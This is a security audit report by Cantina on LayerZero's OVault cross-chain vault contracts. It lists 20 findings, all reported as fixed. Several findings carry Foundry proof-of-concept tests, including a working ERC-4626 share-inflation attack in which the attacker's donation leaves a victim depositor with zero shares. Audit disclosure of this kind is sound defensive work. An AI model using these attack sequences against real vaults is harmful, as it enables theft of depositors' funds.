LayerZero Ovault
Security Review

Cantina Managed review by:

Gerard Persoon, Lead Security Researcher
Sujith Somraaj, Security Researcher

July 29, 2025

Contents

1 Introduction **2**
- 1.1 About Cantina . . . 2
- 1.2 Disclaimer . . . 2
- 1.3 Risk assessment . . . 2
  - 1.3.1 Severity Classification . . . 2

2 Security Review Summary **3**

3 Findings **4**
- 3.1 High Risk . . . 4
  - 3.1.1 Permanent loss of user funds due to logical error in refunds . . . 4
- 3.2 Medium Risk . . . 6
  - 3.2.1 Inflation attack is more profitable due to overridden functions in the vault contracts . . . 6
  - 3.2.2 Funds can be locked temporarily (or) permanently if slippage parameters cannot be satisfied . . . 9
  - 3.2.3 Transfers where `dstEid == HUB_EID` will fail . . . 9
  - 3.2.4 `msg.value` can be lost . . . 12
  - 3.2.5 Different slippage checks can lead to stuck funds . . . 12
- 3.3 Low Risk . . . 13
  - 3.3.1 Override `decimals()` function in vault contracts to ignore decimal offset . . . 13
  - 3.3.2 `transfer()` is used . . . 13
  - 3.3.3 `tx.origin` is used . . . 13
  - 3.3.4 No checks on `_extraOptions` . . . 14
- 3.4 Gas Optimization . . . 14
  - 3.4.1 `refundSendParam` isn't used in `retry()`, but it is stored . . . 14
- 3.5 Informational . . . 14
  - 3.5.1 Remove unused file imports . . . 14
  - 3.5.2 Redundant `SafeERC20` import and usage in vault contracts . . . 14
  - 3.5.3 Function `retryWithSwap()` lacks `nonReentrant` modifier . . . 15
  - 3.5.4 Inaccurate documentation for `retry()` function . . . 15
  - 3.5.5 Inaccessible functions could be removed from interface . . . 15
  - 3.5.6 Slippage check in `retryWithSwap()` is not obvious . . . 16
  - 3.5.7 Typos in comments . . . 16
  - 3.5.8 Extra checks in constructor . . . 16
  - 3.5.9 Insufficient testing . . . 16

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

LayerZero is a technology that enables applications to move data across blockchains, uniquely supporting censorship-resistant messages and permissionless development through immutable smart contracts.

From Jul 2nd to Jul 3rd the Cantina team conducted a review of devtools on commit hash 5167acfb. The team identified a total of **20** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	1	1	0
Medium Risk	5	5	0
Low Risk	4	4	0
Gas Optimizations	1	1	0
Informational	9	9	0
Total	**20**	**20**	**0**

3 Findings

3.1 High Risk

3.1.1 Permanent loss of user funds due to logical error in refunds

Severity: High Risk

Context: OVaultComposer.sol#L70, OVaultComposer.sol#L83, OVaultComposer.sol#L151

Description: The `OVaultComposer.sol` contract considers multiple possible cases and handles them accordingly, either allowing a retry or a refund.

- Case 1: Invalid peer case: In this case, when `shareOFT` or `assetOFT` on the destination chain lacks a peer set for the final settlement chain, the function should detect this and enable users to request a refund. For example, a user from Chain A attempts to deposit into a vault on Chain B (the hub chain) and wants to mint their shares OFT on Chain C. However, if the shares OFT on Chain B do not have a peer set for Chain C, the expected outcome is to refund the assets on Chain A.

  However, this refund will fail due to a faulty internal logic, which locks user funds on Chain B. After successfully decoding the sendParams, the value of `sendParams.amountLD` is set to zero in the following code:

```
try this.decodeSendParam(sendParamEncoded) returns (SendParam memory sendParamDecoded) {
    /// @dev In the case of a valid decode, we have the raw SendParam to be forwarded to the target OFT
    ↪  (oft)
    sendParam = sendParamDecoded;
    sendParam.amountLD = 0; // <<< sets value to zero
} catch {
```

  Then the `sendParam` is stored in the `failedMessages` mappings after the invalid peer is detected. Following that, when the refund is executed, the `sendParam` value is sent as zero to the `send()` function of LayerZero.

```
function refund(bytes32 _guid, bytes calldata _extraOptions) external payable nonReentrant {
FailedMessage memory failedMessage = failedMessages[_guid];
SendParam memory refundSendParam = failedMessage.sendParam; <--- amountLD is zero
```

  This leads to two possible outcomes:

  - If `minAmountLD > 0`, the `refund()` function is permanently DoSed with `SlippageExceeded` error.
  - If `minAmountLD == 0`, the `refund()` will proceed, but will refund zero tokens to the user.

- Case 2: Unable to decode case: In this case, the OVaultComposer is unable to decode the sendParams encoded from the source chain; therefore, it should trigger a refund.

  However, the `sendParams` value is stored as zero here, triggering the `NoPeer()` error when attempting to initiate a refund.

```
SendParam memory sendParam;

/// @dev Try decoding the composeMsg as a SendParam
try this.decodeSendParam(sendParamEncoded) returns (SendParam memory sendParamDecoded) {
    // ...
} catch {
    /// @dev In the case of a failed decode we store the failed message and emit an event.
    /// @dev This message can only be refunded back to the source chain.
    failedMessages[_guid] = FailedMessage(address(0), sendParam, _refundOFT, refundSendParam); <--
    ↪  amountLD is 0
    emit DecodeFailed(_guid, _refundOFT, sendParamEncoded);
    return;
}
```

Likelihood Explanation: The likelihood for this issue is MEDIUM, since not setting a peer (or) sending a bad parameter is not an usual occurrence.

Impact Explanation: The contract fails to deliver its value, resulting in the permanent loss of user funds, which has the most significant impact.

Proof of Concept:

```
/// case 1:
function test_vault_e2e() external {
    vm.selectFork(opForkId);
    vm.startPrank(USER);

    SendParam memory dstSendParam = SendParam(
        OP_EID,
        addressToBytes32(USER),
        100_000e18,
        100_000e18,
        OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000, 0),
        "",
        ""
    );

    bytes memory options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000,
    ↪  0).addExecutorLzComposeOption(
        0, 800_000, 0.000025 ether
    );
    SendParam memory sendParam = SendParam(
        BASE_EID, addressToBytes32(address(composer)), 100_000e18, 100_000e18, options,
        ↪  abi.encode(dstSendParam), ""
    );
    MessagingFee memory fee = tokenOp.quoteSend(sendParam, false);

    deal(USER, fee.nativeFee);
    vm.recordLogs();
    tokenOp.send{value: fee.nativeFee}(sendParam, fee, USER);
    Vm.Log[] memory logs = vm.getRecordedLogs();

    vm.stopPrank();
    lzHelperOp.help(ENDPOINT, baseForkId, logs);

    vm.selectFork(baseForkId);
    IEndpoint(ENDPOINT).lzCompose(
        0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f,
        0xc7183455a4C133Ae270771860664b6B7ec320bB1,
        0x1e962eb6d3f7056bfee4f19540c618820cba214bc8e0f7d8d01a039798972b98,
        0,
        hex"000000000000000010000759f0000000000000000000000000000000000000000000000152d02c7e14af68000000000000000
        ↪  000000000000f921f4fa82620d8d2589971798c51aed0c02c81a0000000000000000000000000000000000000000000000000
        ↪  000000000000000002000000000000000000000000000000000000000000000000000000000000000759f00000000000000
        ↪  0000000000f921f4fa82620d8d2589971798c51aed0c02c81a0000000000000000000000000000000000000000000000152d
        ↪  02c7e14af6800000000000000000000000000000000000000000000000000152d02c7e14af6800000000000000000000000
        ↪  000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000
        ↪  000000001200000000000000000000000000000000000000000000000000000000000000000000140000000000000000000000
        ↪  000000000000000000000000000000000000000160003010011010000000000000000000000000c3500000000000000
        ↪  000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
        ↪  0000000000000000000000000000000000000000",
        ""
    );

    options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000, 0);

    deal(USER, 4 ether);
    vm.prank(USER);
    composer.refund{value: 4 ether}(0x1e962eb6d3f7056bfee4f19540c618820cba214bc8e0f7d8d01a039798972b98,
    ↪  options);
}

/// case 2:
function test_vault_e2e() external {
    vm.selectFork(opForkId);
    vm.startPrank(USER);

    SendParam memory dstSendParam = SendParam(
        OP_EID,
        addressToBytes32(USER),
        100_000e18,
        100_000e18,
        OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000, 0),
        "",
        ""
    );
```

```
    bytes memory options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000,
    ↪  0).addExecutorLzComposeOption(
        0, 800_000, 0.000025 ether
    );
    SendParam memory sendParam = SendParam(
        BASE_EID,
        addressToBytes32(address(composer)),
        100_000e18,
        100_000e18,
        options,
        abi.encode(abi.encode(dstSendParam)),
        ""
    );
    MessagingFee memory fee = tokenOp.quoteSend(sendParam, false);

    deal(USER, fee.nativeFee);
    vm.recordLogs();
    tokenOp.send{value: fee.nativeFee}(sendParam, fee, USER);
    Vm.Log[] memory logs = vm.getRecordedLogs();

    vm.stopPrank();
    lzHelperOp.help(ENDPOINT, baseForkId, logs);

    vm.selectFork(baseForkId);
    IEndpoint(ENDPOINT).lzCompose(
        0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f,
        0xc7183455a4C133Ae270771860664b6B7ec320bB1,
        0x1e962eb6d3f7056bfee4f19540c618820cba214bc8e0f7d8d01a039798972b98,
        0,
        hex"000000000000000010000759f0000000000000000000000000000000000000000000000152d02c7e14af68000000000000000
        ↪  00000000000000f921f4fa82620d8d2589971798c51aed0c02c81a0000000000000000000000000000000000000000000000000
        ↪  00000000000000000200000000000000000000000000000000000000000000000000000000000000000759f00000000000000
        ↪  0000000000f921f4fa82620d8d2589971798c51aed0c02c81a0000000000000000000000000000000000000000000000152d
        ↪  02c7e14af6800000000000000000000000000000000000000000000000152d02c7e14af6800000000000000000000000000
        ↪  000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000
        ↪  0000000012000000000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000
        ↪  0000000000000000000000000000000000000000160003010011010000000000000000000000000c3500000000000000000
        ↪  0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
        ↪  00000000000000000000000000000000000000",
        ""
    );

    options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000, 0);

    deal(USER, 4 ether);
    vm.prank(USER);
    composer.refund{value: 4 ether}(0x1e962eb6d3f7056bfee4f19540c618820cba214bc8e0f7d8d01a039798972b98,
    ↪  options);
}
```

Recommendation: The primary root cause for this issue is the use of **sendParam** instead of **refundSendParam** in the `refund()` function; hence, the fix should be straightforward as follows:

```
  function refund(bytes32 _guid, bytes calldata _extraOptions) external payable nonReentrant {
      FailedMessage memory failedMessage = failedMessages[_guid];
-     SendParam memory refundSendParam = failedMessage.sendParam;
+     SendParam memory refundSendParam = failedMessage.refundSendParam;
      // ....
  }
```

Also, there are not adequate tests for the `refund()` flow, hence would suggest adding more testing for all possible flows.

LayerZero: Fixed in commit 607200e7.

Cantina Managed: Fix verified.

3.2 Medium Risk

3.2.1 Inflation attack is more profitable due to overridden functions in the vault contracts

Severity: Medium Risk

Context: OVault.sol#L10, OVaultUpgradeable.sol#L11

Description: The contracts `OVault` and `OVaultUpgradeable` inherit Openzeppelin's 4626 implementation and override the two functions: `_convertToShares()` and `_convertToAssets()`. These two functions in the base implementation provide some degree of inflation attack protection through `_decimalOffset()` and `+1` calculations. However, the overridden function disregards these protections, making inflation attacks more lucrative.

Likelihood Explanation: The likelihood of this attack is LOW, as the vault contracts can also have cross-chain interactions, which are protected against slippage; hence, only same-chain depositors will be affected.

Impact Explanation: The impact is HIGH, since the attack is highly profitable and can extract value from the same chain of depositors. This vulnerability, in some cases, can be used to DoS cross-chain deposits, forcing the users to enter the retry path.

Proof of Concept: The proofs of concept show that with the vanilla implementation, the inflation attack is not profitable, but the overridden function makes it profitable in the first transaction:

1. The attacker deposits one wei worth of assets for one wei of shares.
2. Later, he donates 10,000 tokens.
3. The victim deposits 10,000 tokens and receives zero shares for their deposit due to rounding down (overridden behavior, OZ rounds up).
4. The attacker redeems their one wei share for the entire assets of the vault (20,000 tokens + 1 wei).

```
pragma solidity ^0.8.20;

import {Test, Vm} from "forge-std/Test.sol";
import {OVault} from "contracts/OVault.sol";
import {OVaultComposer} from "contracts/OVaultComposer.sol";

import {OFT} from "@layerzerolabs/oft-evm/contracts/OFT.sol";
import {OFTAdapter} from "@layerzerolabs/oft-evm/contracts/OFTAdapter.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {OptionsBuilder} from "@layerzerolabs/oapp-evm/contracts/oapp/libs/OptionsBuilder.sol";
import {SendParam, MessagingFee} from "@layerzerolabs/oft-evm/contracts/interfaces/IOFT.sol";
import {LayerZeroV2Helper} from
↪  "@layerzerolabs/toolbox-foundry/lib/pigeon/src/layerzero-v2/LayerZeroV2Helper.sol";

interface IEndpoint {
    function lzCompose(
        address _from,
        address _to,
        bytes32 _guid,
        uint16 _index,
        bytes calldata _message,
        bytes calldata _extraData
    ) external payable;
}

contract Token is OFT {
    constructor(string memory _name, string memory _symbol, address _lzEndpoint, address _delegate)
        OFT(_name, _symbol, _lzEndpoint, _delegate)
        Ownable(_delegate)
    {
        _mint(_delegate, 100_000e18);
    }
}

contract Adapter is OFTAdapter {
    constructor(address _token, address _lzEndpoint, address _delegate)
        OFTAdapter(_token, _lzEndpoint, _delegate)
        Ownable(_delegate)
    {}
}

contract AuditTest is Test {
    using OptionsBuilder for bytes;

    LayerZeroV2Helper lzHelperBase;
    LayerZeroV2Helper lzHelperOp;

    uint256 baseForkId;
    uint256 opForkId;
```

```
    OVault public vault;
    OVaultComposer public composer;

    Token public tokenBase;
    Token public tokenOp;

    Adapter public shareAdapterBase;
    Token public shareOp;

    address OWNER = makeAddr("OWNER");
    address USER = makeAddr("USER");
    address USER_2 = makeAddr("USER_2");

    address ENDPOINT = 0x1a44076050125825900e736c501f859c50fE728c;

    uint32 BASE_EID = 30184;
    uint32 OP_EID = 30111;

    function setUp() external {
        baseForkId = vm.createSelectFork(vm.envString("BASE_RPC_URL"), 32350485);
        tokenBase = new Token("OFT asset", "OA", ENDPOINT, OWNER);
        lzHelperBase = new LayerZeroV2Helper();
        vault = new OVault("OVault", "OV", address(tokenBase));
        shareAdapterBase = new Adapter(address(vault), ENDPOINT, OWNER);

        composer = new OVaultComposer(address(vault), address(tokenBase), address(shareAdapterBase));

        opForkId = vm.createSelectFork(vm.envString("OP_RPC_URL"), 137945780);
        tokenOp = new Token("OFT asset", "OA", ENDPOINT, OWNER);
        shareOp = new Token("OFT share", "OS", ENDPOINT, OWNER);
        lzHelperOp = new LayerZeroV2Helper();

        vm.startPrank(OWNER);
        tokenOp.setPeer(BASE_EID, addressToBytes32(address(tokenBase)));
        tokenOp.transfer(USER, 100_000e18);
        shareOp.setPeer(BASE_EID, addressToBytes32(address(shareAdapterBase)));
        vm.stopPrank();

        vm.selectFork(baseForkId);
        vm.startPrank(OWNER);
        tokenBase.setPeer(OP_EID, addressToBytes32(address(tokenOp)));
        tokenBase.transfer(USER, 50_000e18);
        tokenBase.transfer(USER_2, 50_000e18);
        shareAdapterBase.setPeer(OP_EID, addressToBytes32(address(shareOp)));
        vm.stopPrank();

    }

    function test_inflation_attack() external {
        vm.startPrank(USER);
        tokenBase.approve(address(vault), 1 wei);

        vault.deposit(1 wei, USER);
        tokenBase.transfer(address(vault), 10_000e18);

        vm.startPrank(USER_2);
        tokenBase.approve(address(vault), 10_000e18);
        vault.deposit(10_000e18, USER_2);

        vm.startPrank(USER);
        vault.redeem(1 wei, USER, USER);
    }

    function addressToBytes32(address _value) internal pure returns (bytes32) {
        return bytes32(uint256(uint160(_value)));
    }
}
```

Recommendation: The fix for this issue can be trivial and cannot be fully mitigated, but implementing similar protections, such as those provided by OpenZeppelin, can make this attack less profitable.

1. Consider rounding up to avoid minting zero shares for any user. Else, override the deposit function to ensure zero shares can never be minted (which can protect against inflation attacks to some degree with a hard revert).

2. Add `_decimalCorrection()` to the two functions mentioned above to avoid inflation attacks to a larger degree.

LayerZero: Fixed in commit fae8a363.

Cantina Managed: Fix verified.

3.2.2 Funds can be locked temporarily (or) permanently if slippage parameters cannot be satisfied

Severity: Medium Risk

Context: OVaultComposer.sol#L177

Description: The `OVaultComposer.sol` contracts aim to deposit collateral into the vault upon receiving tokens. If the resulting output tokens are less than expected, the transaction is marked as failed and can be retried later.

The user or relayer can attempt to re-execute the transaction when slippage conditions are met. However, if the user inputs an entirely incorrect value by mistake, or if the asset or share price does not reach the anticipated level, the funds become locked within the `OVaultComposer.sol` contract, without a fail-proof mechanism to retrieve locked funds.

Likelihood Explanation: User error is an improbable event. However, for vaults holding long-tail assets, share prices can be highly volatile, making user error also a strong **LOW** likelihood scenario.

Impact Explanation: User funds are locked without a way to claim a refund. This can even result in permanent loss of user funds if the price never reaches expected levels.

Recommendation: Consider implementing timeouts for the `retryWithSwap()` function after the assets have been refunded to the user.

LayerZero: Fixed in commit 7c700650.

Cantina Managed: Fix verified.

3.2.3 Transfers where `dstEid == HUB_EID` will fail

Severity: Medium Risk

Context: OVaultComposer.sol#L130-L145, OVaultComposer.sol#L149-L157, OVaultComposer.sol#L163-L172, OVaultComposer.sol#L177-L189

Description: Functions `refund()`, `retryWithSwap()` and `retry()` use `_send()` to send tokens. However `lzCompose()` used `send()`, which has additional functionality, which won't be performed when using `_send()`. The missing part is:

```
if (_sendParam.dstEid == HUB_EID) {
    address _receiver = _sendParam.to.bytes32ToAddress();
    uint256 _amountLD = _sendParam.amountLD;
    IERC20 token = IERC20(IOFT(_oft).token());
    token.transfer(_receiver, _amountLD);
    if (msg.value > 0) {
        (bool sent, ) = _receiver.call{ value: msg.value }("");
        require(sent, "Failed to send Ether");
    }
    emit SentOnHub(_receiver, _oft, _amountLD);
    return;
}
```

So when `_sendParam.dstEid == HUB_EID` an attempt is made to send to the same chain, which results in the error `NoPeer`.

Note: `send()` can fail due to multiple circumstances, including:

- In the `transfer()` → for example USDC and address is blocked.
- In the `_receiver.call()` → that could revert in a `receive()` if its a smart contract.

Proof of Concept: This proof of concept helps understanding the issue where the `send()` function fails because it attempts to use the OFT for a cross-chain transfer instead of simply transferring to the receiver when `dstEid == HUB_EID`:

```
pragma solidity ^0.8.20;

import {Test, Vm} from "forge-std/Test.sol";
import {OVault} from "contracts/OVault.sol";
import {OVaultComposer} from "contracts/OVaultComposer.sol";

import {OFT} from "@layerzerolabs/oft-evm/contracts/OFT.sol";
import {OFTAdapter} from "@layerzerolabs/oft-evm/contracts/OFTAdapter.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {OptionsBuilder} from "@layerzerolabs/oapp-evm/contracts/oapp/libs/OptionsBuilder.sol";
import {SendParam, MessagingFee} from "@layerzerolabs/oft-evm/contracts/interfaces/IOFT.sol";
import {LayerZeroV2Helper} from
↪  "@layerzerolabs/toolbox-foundry/lib/pigeon/src/layerzero-v2/LayerZeroV2Helper.sol";

interface IEndpoint {
    function lzCompose(
        address _from,
        address _to,
        bytes32 _guid,
        uint16 _index,
        bytes calldata _message,
        bytes calldata _extraData
    ) external payable;
}

contract Token is OFT {
    constructor(string memory _name, string memory _symbol, address _lzEndpoint, address _delegate)
        OFT(_name, _symbol, _lzEndpoint, _delegate)
        Ownable(_delegate)
    {
        _mint(_delegate, 100_000e18);
    }
}

contract Adapter is OFTAdapter {
    constructor(address _token, address _lzEndpoint, address _delegate)
        OFTAdapter(_token, _lzEndpoint, _delegate)
        Ownable(_delegate)
    {}
}

contract RevertReceiver {
    receive() external payable {
        revert("cannot receive native");
    }
}

contract AuditTest is Test {
    using OptionsBuilder for bytes;

    LayerZeroV2Helper lzHelperBase;
    LayerZeroV2Helper lzHelperOp;

    uint256 baseForkId;
    uint256 opForkId;

    OVault public vault;
    OVaultComposer public composer;

    Token public tokenBase;
    Token public tokenOp;

    Adapter public shareAdapterBase;
    Token public shareOp;

    RevertReceiver public revertReceiver;

    address OWNER = makeAddr("OWNER");
    address USER = makeAddr("USER");
    address USER_2 = makeAddr("USER_2");

    address ENDPOINT = 0x1a44076050125825900e736c501f859c50fE728c;
```

```
uint32 BASE_EID = 30184;
uint32 OP_EID = 30111;

function setUp() external {
    baseForkId = vm.createSelectFork(vm.envString("BASE_RPC_URL"), 32350485);
    tokenBase = new Token("OFT asset", "OA", ENDPOINT, OWNER);
    lzHelperBase = new LayerZeroV2Helper();
    vault = new OVault("OVault", "OV", address(tokenBase));
    shareAdapterBase = new Adapter(address(vault), ENDPOINT, OWNER);
    revertReceiver = new RevertReceiver();

    composer = new OVaultComposer(address(vault), address(tokenBase), address(shareAdapterBase));

    opForkId = vm.createSelectFork(vm.envString("OP_RPC_URL"), 137945780);
    tokenOp = new Token("OFT asset", "OA", ENDPOINT, OWNER);
    shareOp = new Token("OFT share", "OS", ENDPOINT, OWNER);
    lzHelperOp = new LayerZeroV2Helper();

    vm.startPrank(OWNER);
    tokenOp.setPeer(BASE_EID, addressToBytes32(address(tokenBase)));
    tokenOp.transfer(USER, 100_000e18);
    shareOp.setPeer(BASE_EID, addressToBytes32(address(shareAdapterBase)));
    vm.stopPrank();

    vm.selectFork(baseForkId);
    vm.startPrank(OWNER);
    tokenBase.setPeer(OP_EID, addressToBytes32(address(tokenOp)));

    tokenBase.transfer(USER, 50_000e18);
    tokenBase.transfer(USER_2, 50_000e18);

    shareAdapterBase.setPeer(OP_EID, addressToBytes32(address(shareOp)));
    vm.stopPrank();

}

function test_vault_e2e() external {
    vm.selectFork(opForkId);
    vm.startPrank(USER);

    SendParam memory dstSendParam = SendParam(
        BASE_EID,
        addressToBytes32(address(revertReceiver)),
        0,
        100_000e18,
        OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000, 0),
        "",
        ""
    );

    bytes memory options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000, 0)
        .addExecutorLzComposeOption(0, 800_000, 0.000025 ether);
    SendParam memory sendParam = SendParam(
        BASE_EID, addressToBytes32(address(composer)), 100_000e18, 100_000e18, options,
        ↪  abi.encode(dstSendParam), ""
    );
    MessagingFee memory fee = tokenOp.quoteSend(sendParam, false);

    deal(USER, fee.nativeFee);
    vm.recordLogs();
    tokenOp.send{value: fee.nativeFee}(sendParam, fee, USER);
    Vm.Log[] memory logs = vm.getRecordedLogs();

    vm.stopPrank();
    lzHelperOp.help(ENDPOINT, baseForkId, logs);

    vm.selectFork(baseForkId);
    IEndpoint(ENDPOINT).lzCompose{value: 1 wei}(
        0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f,
        0xa0Cb889707d426A7A386870A03bc70d1b0697598,
        0x2acdfd4bfc2862e959f20943997a8ccccbec3c12e5ff4fd417c859eca35f1678,
        0,
```

```
            hex"000000000000000010000759f0000000000000000000000000000000000000000000000152d02c7e14af6800000000000
            ↪  00000000000000000f921f4fa82620d8d2589971798c51aed0c02c81a0000000000000000000000000000000000000000
            ↪  00000000000000000000000020000000000000000000000000000000000000000000000000000000000000075e800
            ↪  00000000000000000000c7183455a4c133ae270771860664b6b7ec320bb1000000000000000000000000000000000000
            ↪  00000000000000000000000000000000000000000000000000000000000000000152d02c7e14af68000
            ↪  00000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000
            ↪  00000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000000
            ↪  00014000000000000000000000000000000000000000000000000000000000000160003010011010000000000000
            ↪  00000000000000c350000000000000000000000000000000000000000000000000000000000000000000000000000000
            ↪  00000000000000000000000000000000000000000000000000000000000000000000",
            ""
        );

        composer.retry{value: 1 ether}(0x2acdfd4bfc2862e959f20943997a8ccccbec3c12e5ff4fd417c859eca35f1678,
        ↪  OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000, 0));
    }

    function addressToBytes32(address _value) internal pure returns (bytes32) {
        return bytes32(uint256(uint160(_value)));
    }
}
```

Recommendation: Use `this.send()` instead of `_send()`. In the situation of `retry()` with `_sendParam.dstEid == HUB_EID` its important to also add a slippage check, because this would normally be done by `_send()`, but that isn't called in this situation. A potential workaround would be to set a peer to the same chain.

LayerZero: Fixed in commit 7c700650.

Cantina Managed: Fix verified.

3.2.4 `msg.value` can be lost

Severity: Medium Risk

Context: OVaultComposer.sol#L45, OVaultComposer.sol#L149, OVaultComposer.sol#L163, OVaultComposer.sol#L177

Description: Found by the project: When `lzCompose()`, some native tokens are supplied to be able to do the next transfer. However if the functions fails and it creates a `failedMessages[]` records, then the `msg.value` is stored in `OVaultComposer` and can't be used anymore. When calling `refund()`, `retry()` or `retryWithSwap()` the required native tokens have to be supplied again.

Recommendation: Consider registering the supplied `msg.value` in `failedMessages[]` and use that in the later calls.

LayerZero: Fixed in PR 1600.

Cantina Managed: Fix verified.

3.2.5 Different slippage checks can lead to stuck funds

Severity: Medium Risk

Context: OVaultComposer.sol#L116-L127

Description: Found by the project: `executeOVaultAction()` has a `minAmount` check, but the `LayerZeroEndpoint::send()` has a slightly different `minAmount` check, which is part of function `_debitView()`:

```
function _debitView(uint256 _amountLD,uint256 _minAmountLD,...) ... {
    amountSentLD = _removeDust(_amountLD);
    amountReceivedLD = amountSentLD;
    if (amountReceivedLD < _minAmountLD) {
        revert SlippageExceeded(amountReceivedLD, _minAmountLD);
    }
}
```

With specific amounts, it could pass the check in `executeOVaultAction()` but fail the check in `LayerZeroEndpoint::send()` and thus won't be send.

Recommendation: Consider implementing the same check in `executeOVaultAction()` as in `LayerZeroEndpoint::send()`.

LayerZero: Fixed in commit dc38170b.

Cantina Managed: Fix verified.

3.3 Low Risk

3.3.1 Override `decimals()` function in vault contracts to ignore decimal offset

Severity: Low Risk

Context: OVault.sol#L10, OVaultUpgradeable.sol#L11

Description: The contracts OVault and OVaultUpgradeable inherit Openzeppelin's 4626 implementation and override the two functions: `_convertToShares()` and `_convertToAssets()`. In the underlying vanilla OpenZeppelin implementation, vault creators can override the `_decimalsOffset()` function to use a higher decimal precision for the vault asset.

For example, the vault asset could be 18 decimal places, but the vault share could be 27 decimal places. The primary reason for doing this is to mitigate inflation attacks to a large degree (although they are still possible to some extent). However, in the current implementation, overriding the `_decimalsOffset()` function results in unexpected behavior, where shares will still be minted with 18 decimals, but the `decimals()` function will return incorrect values as 27, affecting integrators and other users who interact with the vaults.

Recommendation: This issue relates to the reported inflation attack. If fixes didn't reintroduce the `_decimalCorrection()` function in the two functions, consider updating the `decimals()` function to unify vault behavior. Otherwise, if `_decimalCorrection()` is reinstated in the two functions, that will automatically fix this issue.

LayerZero: Fixed in commit fae8a363.

Cantina Managed: Fix verified.

3.3.2 `transfer()` is used

Severity: Low Risk

Context: OVaultComposer.sol#L136

Description: `send()` uses `transfer()` and doesn't check the return value. If the transfer fails that this isn't detected.

Recommendation: Consider using `safeTransfer()`.

LayerZero: Fixed in commit d8c72799.

Cantina Managed: Fix verified.

3.3.3 `tx.origin` is used

Severity: Low Risk

Context: OVaultComposer.sol#L194-L196

Description: Function `_send()` uses `tx.origin` as the `refundAddress`. With protocols like ERC 4337 and EIP 7702, `tx.origin` could be a bundler and the function might not be returned to the appropriate party.

Recommendation: Reconsider how refunds are done.

LayerZero: The layerzero executor that will be submitting almost all transactions, and in the case of retry and refunds it would be EOA. Added a comment in commit 281ef47a, in the chance that a protocol wants to use an automatic or bundler, then they will have to override the function `_send()`.

Cantina Managed: Verified.

3.3.4 No checks on `_extraOptions`

Severity: Low Risk

Context: OVaultComposer.sol#L149, OVaultComposer.sol#L163, OVaultComposer.sol#L177

Description: The functions `refund()`, `retryWithSwap()` and `retry()` don't do any validity check on `_extraOptions`. An attacker might grief the transaction by using very large values for gas/native tokens. This might for the executor on the destination chain to pay for a lot of gas/native tokens and possibly values can be used that prevent the correct execution.

Recommendation: Consider adding validity checks on the `_extraOptions`.

LayerZero: Fixed in commit 7c700650.

Cantina Managed: Fix verified.

3.4 Gas Optimization

3.4.1 `refundSendParam` isn't used in `retry()`, but it is stored

Severity: Gas Optimization

Context: OVaultComposer.sol#L45, OVaultComposer.sol#L98-L107, OVaultComposer.sol#L163-L174

Description: In function `lzCompose()`, when `this.send()` fails, a `failedMessages[]` entry is created that also contains `refundSendParam`. However function `retry()`, which process this record, doesn't use `refundSendParam`. The storing of `refundSendParam` is relatively expensive.

Recommendation: To save some gas consider using empty values for `refundSendParam`:

```
- failedMessages[_guid] = FailedMessage(oft, sendParam, address(0), refundSendParam);
+ SendParam memory emptySendParam;
+ failedMessages[guid] = FailedMessage(oft, sendParam, address(0), emptySendParam);
```

LayerZero: Fixed in commit ff167304.

Cantina Managed: Fix verified.

3.5 Informational

3.5.1 Remove unused file imports

Severity: Informational

Context: IOVaultComposer.sol#L5

Description: The interface `IOVaultComposer.sol` contains unused parameters being imported from `IOFT.sol`. While importing unused files causes no harm, including them could result in decreased code quality.

Recommendation: Consider removing the unused file imports.

```
- import { IOFT, SendParam, MessagingFee } from "@layerzerolabs/oft-evm/contracts/interfaces/IOFT.sol";
+ import { SendParam } from "@layerzerolabs/oft-evm/contracts/interfaces/IOFT.sol";
```

LayerZero: Fixed in commit 78e4aad4.

Cantina Managed: Fix verified.

3.5.2 Redundant `SafeERC20` import and usage in vault contracts

Severity: Informational

